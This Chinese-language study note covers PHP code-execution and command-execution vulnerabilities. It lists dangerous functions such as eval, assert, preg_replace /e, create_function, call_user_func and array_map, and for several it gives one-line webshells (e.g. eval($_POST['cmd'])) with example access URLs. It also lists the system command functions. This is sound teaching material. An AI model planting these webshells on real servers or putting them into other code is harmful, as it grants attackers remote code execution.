php代码执行与命令执行漏洞
学习php代码执行与命令执行漏洞,没有新姿势
php代码执行相关
eval()1mixed eval( string $code)
eval()函数把字符串按照php代码来计算,常见的一句话木马:1
2
3eval($_GET['cmd']); ?>
eval($_POST['cmd']); ?>
访问:1http://xxx.com/test.php?cmd=phpinfo();
得到phpinfo()页面。
assert()
php5:1bool assert( mixed $assertion[, string $description] )
php7:1bool assert( mixed $assertion[, Throwable $exception] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
普通调用:1
2
3assert($_GET['cmd']); ?>
assert($_POST['cmd']); ?>
访问:1http://xxx.com/test.php?cmd=phpinfo();
phpinfo()后可以不用分号,得到phpinfo页面。
assert函数支持动态调用:1
2
3
4$a = 'assert';
$a($_POST['a']);
?>
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
preg_replace()1mixed preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] )
preg_replace()在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在后向引用替换时会被用反斜线转义.
第一个参数
第二个参数
一句话木马:1
2
3<?php
@preg_replace("/123/e",$_REQUEST['cmd'],"1234");
?>
访问:1http://xxx.com/test.php?cmd=phpinfo();
php 7.0.0 不再支持 /e修饰符
第三个参数
create_function()1string create_function( string $args, string $code)
用法:1create_function('$fname','echo $fname."Zhang"')
类似于:1
2
3function ($fname){
echo $fname."Zhang";
}
该函数的内部实现用到了eval,所以也具有相同的安全问题1
2
3
4
5<?php
$a = $_GET['cmd'];
$b = create_function('$a',"echo $a");
$b();
?>
访问:1http://xxx.com/test.php?cmd=phpinfo();
call_user_func()1mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。1
2
3<?php
call_user_func($_GET['fun'],$_GET['exec']);
?>
访问:1http://xxx.com/test.php?fun=assert&exec=phpinfo()
eval()在这里是不能作为回调函数使用的。
在php中,可以通过is_callable来判断一个函数是否为回调函数,比如:1
2
3<?php
echo is_callable("eval") == false;
?>
call_user_func_array()1mixed call_user_func_array( callable $callback, array $param_arr)
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。1
2
3<?php
call_user_func_array($_GET['fun'],$_GET['exec']);
?>
访问1http://xxx.com/test.php?fun=assert&exec[]=phpinfo()
array_map()1array array_map( callable $callback, array $array1[, array $...] )
返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。1
2
3
4
5
6<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
访问:1http://xxx.com/test1.php?a=assert&b=phpinfo();
系统命令执行相关
system()1string system( string $command[, int &$return_var] )
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
passthru()1void passthru( string $command[, int &$return_var] )
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
exec()1string exec( string $command[, array &$output[, int &$return_var]] )
exec() 执行 command 参数所指定的命令。 其余参数,见文档1
2
3<?php
echo exec("ls");
?>
返回值是命令执行结果的最后一行内容。
pcntl_exec()
shell_exec()1string shell_exec ( string $cmd )
popen()
proc_open()
`(反引号)
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。